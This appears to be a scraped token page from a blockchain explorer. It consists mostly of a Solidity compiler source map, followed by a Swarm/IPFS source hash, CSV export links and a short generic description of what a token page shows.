-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:350::-;3102:2;3084:21;;;3141:2;3121:18;;;3114:30;3180:28;3175:2;3160:18;;3153:56;3241:2;3226:18;;2900:350::o;3255:127::-;3316:10;3311:3;3307:20;3304:1;3297:31;3347:4;3344:1;3337:15;3371:4;3368:1;3361:15;3387:422;3476:1;3519:5;3476:1;3533:270;3554:7;3544:8;3541:21;3533:270;;;3613:4;3609:1;3605:6;3601:17;3595:4;3592:27;3589:53;;;3622:18;;:::i;:::-;3672:7;3662:8;3658:22;3655:55;;;3692:16;;;;3655:55;3771:22;;;;3731:15;;;;3533:270;;;3537:3;3387:422;;;;;:::o;3814:806::-;3863:5;3893:8;3883:80;;-1:-1:-1;3934:1:1;3948:5;;3883:80;3982:4;3972:76;;-1:-1:-1;4019:1:1;4033:5;;3972:76;4064:4;4082:1;4077:59;;;;4150:1;4145:130;;;;4057:218;;4077:59;4107:1;4098:10;;4121:5;;;4145:130;4182:3;4172:8;4169:17;4166:43;;;4189:18;;:::i;:::-;-1:-1:-1;;4245:1:1;4231:16;;4260:5;;4057:218;;4359:2;4349:8;4346:16;4340:3;4334:4;4331:13;4327:36;4321:2;4311:8;4308:16;4303:2;4297:4;4294:12;4290:35;4287:77;4284:159;;;-1:-1:-1;4396:19:1;;;4428:5;;4284:159;4475:34;4500:8;4494:4;4475:34;:::i;:::-;4545:6;4541:1;4537:6;4533:19;4524:7;4521:32;4518:58;;;4556:18;;:::i;:::-;4594:20;;3814:806;-1:-1:-1;;;3814:806:1:o;4625:140::-;4683:5;4712:47;4753:4;4743:8;4739:19;4733:4;4712:47;:::i;4770:168::-;4843:9;;;4874;;4891:15;;;4885:22;;4871:37;4861:71;;4912:18;;:::i;4943:251::-;5013:6;5066:2;5054:9;5045:7;5041:23;5037:32;5034:52;;;5082:1;5079;5072:12;5034:52;5114:9;5108:16;5133:31;5158:5;5133:31;:::i;6472:306::-;6560:6;6568;6576;6629:2;6617:9;6608:7;6604:23;6600:32;6597:52;;;6645:1;6642;6635:12;6597:52;6674:9;6668:16;6658:26;;6724:2;6713:9;6709:18;6703:25;6693:35;;6768:2;6757:9;6753:18;6747:25;6737:35;;6472:306;;;;;:::o;7062:277::-;7129:6;7182:2;7170:9;7161:7;7157:23;7153:32;7150:52;;;7198:1;7195;7188:12;7150:52;7230:9;7224:16;7283:5;7276:13;7269:21;7262:5;7259:32;7249:60;;7305:1;7302;7295:12;10064:125;10129:9;;;10150:10;;;10147:36;;;10163:18;;:::i;10549:135::-;10588:3;10609:17;;;10606:43;;10629:18;;:::i;:::-;-1:-1:-1;10676:1:1;10665:13;;10549:135::o;10689:128::-;10756:9;;;10777:11;;;10774:37;;;10791:18;;:::i;11310:127::-;11371:10;11366:3;11362:20;11359:1;11352:31;11402:4;11399:1;11392:15;11426:4;11423:1;11416:15;11442:980;11704:4;11752:3;11741:9;11737:19;11783:6;11772:9;11765:25;11809:2;11847:6;11842:2;11831:9;11827:18;11820:34;11890:3;11885:2;11874:9;11870:18;11863:31;11914:6;11949;11943:13;11980:6;11972;11965:22;12018:3;12007:9;12003:19;11996:26;;12057:2;12049:6;12045:15;12031:29;;12078:1;12088:195;12102:6;12099:1;12096:13;12088:195;;;12167:13;;-1:-1:-1;;;;;12163:39:1;12151:52;;12258:15;;;;12223:12;;;;12199:1;12117:9;12088:195;;;-1:-1:-1;;;;;;;12339:32:1;;;;12334:2;12319:18;;12312:60;-1:-1:-1;;;12403:3:1;12388:19;12381:35;12300:3;11442:980;-1:-1:-1;;;11442:980:1:o;12427:217::-;12467:1;12493;12483:132;;12537:10;12532:3;12528:20;12525:1;12518:31;12572:4;12569:1;12562:15;12600:4;12597:1;12590:15;12483:132;-1:-1:-1;12629:9:1;;12427:217::o

Swarm Source

ipfs://de4bd6aeb136907a6dabe2a8aa184c46078875058eb5c16add52848e635e1e58
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.